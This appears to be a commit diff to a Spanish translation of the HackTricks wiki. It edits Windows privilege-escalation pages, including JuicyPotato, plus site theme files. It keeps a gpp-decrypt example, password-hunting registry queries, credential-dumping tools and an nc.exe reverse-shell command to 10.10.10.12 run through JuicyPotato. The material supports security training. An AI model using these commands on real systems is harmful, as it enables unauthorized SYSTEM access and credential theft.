gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@ -1156,7 +1156,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### Historial de Navegadores
Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
Debes verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí.
Herramientas para extraer contraseñas de navegadores:
@ -1172,7 +1172,7 @@ Herramientas para extraer contraseñas de navegadores:
Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico-Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral).
Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral).
![](<../../images/image (729).png>)
@ -1184,7 +1184,7 @@ Para aprender cómo los atacantes utilizan el secuestro COM como un mecanismo de
com-hijacking.md
{{#endref}}
### **Búsqueda Genérica de Contraseñas en Archivos y Registro**
### **Búsqueda genérica de contraseñas en archivos y registro**
**Buscar en el contenido de los archivos**
```bash
@ -1207,7 +1207,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### Herramientas que buscan contraseñas
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un msf** plugin que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **es un plugin de msf** que he creado para **ejecutar automáticamente cada módulo POST de metasploit que busca credenciales** dentro de la víctima.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automáticamente todos los archivos que contienen contraseñas mencionadas en esta página.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) es otra gran herramienta para extraer contraseñas de un sistema.
@ -1221,9 +1221,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Manejadores Filtrados
Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` y **inyectar un shellcode**.\
[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\
[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
[Lee esta **otra publicación para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Suplantación de Cliente de Pipe Nombrado
@ -1335,7 +1335,7 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas
### From SeDebug + SeImpersonate to Full Token privileges
Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad ya existente), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
**Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
@ -1352,7 +1352,9 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
### **From Administrator or Network Service to System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs

17
src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
> [!WARNING] > **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. _**Verifique:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -40,13 +39,13 @@ JuicyPotato te permite:
- **CLSID objetivo** _elige cualquier CLSID que desees._ [_Aquí_](http://ohpe.it/juicy-potato/CLSID/) _puedes encontrar la lista organizada por SO._
- **Puerto de escucha COM** _define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)_
- **Dirección IP de escucha COM** _vincula el servidor a cualquier IP_
- **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado puedes elegir entre:_
- **Modo de creación de procesos** _dependiendo de los privilegios del usuario suplantado, puedes elegir entre:_
- `CreateProcessWithToken` (necesita `SeImpersonate`)
- `CreateProcessAsUser` (necesita `SeAssignPrimaryToken`)
- `ambos`
- **Proceso a lanzar** _lanzar un ejecutable o script si la explotación tiene éxito_
- **Argumento del proceso** _personaliza los argumentos del proceso lanzado_
- **Dirección del servidor RPC** _para un enfoque sigiloso puedes autenticarte en un servidor RPC externo_
- **Dirección del servidor RPC** _para un enfoque sigiloso, puedes autenticarte en un servidor RPC externo_
- **Puerto del servidor RPC** _útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto `135`…_
- **MODO DE PRUEBA** _principalmente para fines de prueba, es decir, probando CLSIDs. Crea el DCOM e imprime el usuario del token. Ver_ [_aquí para pruebas_](http://ohpe.it/juicy-potato/Test/)
@ -83,7 +82,7 @@ De: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
Nota: Visita [esta página](https://ohpe.it/juicy-potato/CLSID/) para una lista de CLSIDs para probar.
### Obtén un shell reverso de nc.exe
### Obtener un shell reverso de nc.exe
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -106,9 +105,11 @@ c:\Users\Public>
## Problemas de CLSID
A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se necesitan múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se requieren múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Verificando CLSIDs**
@ -116,7 +117,7 @@ Primero, necesitarás algunos ejecutables además de juicypotato.exe.
Descarga [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) y cárgalo en tu sesión de PS, y descarga y ejecuta [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ese script creará una lista de posibles CLSIDs para probar.
Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y **cuando el número de puerto cambie, significará que el CLSID funcionó**.
Luego descarga [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y **cuando el número de puerto cambie, significará que el CLSID funcionó**.
**Verifica** los CLSIDs funcionales **usando el parámetro -c**

19
theme/css/chrome.css
View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

6
theme/css/variables.css
View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
--table-border-color: hsl(0, 0%, 95%);
--table-header-bg: hsl(0, 0%, 80%);
--table-header-bg: hsl(0, 0%, 95%);
--table-alternate-bg: hsl(0, 0%, 97%);
--searchbar-border-color: #aaa;

7
theme/index.hbs
View File

@ -176,10 +176,12 @@
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
<i class="fa fa-globe"></i>
<span class="menu-bar-link">Translations</span>
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
<button id="en" role="menuitem" class="menu-bar-link">English</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
<button id="de" role="menuitem" class="menu-bar-link">German</button>
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
@ -190,11 +192,10 @@
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
</div>
</div>
</div>

2
theme/pagetoc.css
View File

@ -72,7 +72,7 @@
.sidetoc-wrapper {
position: fixed;
width: 250px;
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

96
theme/pagetoc.js
View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})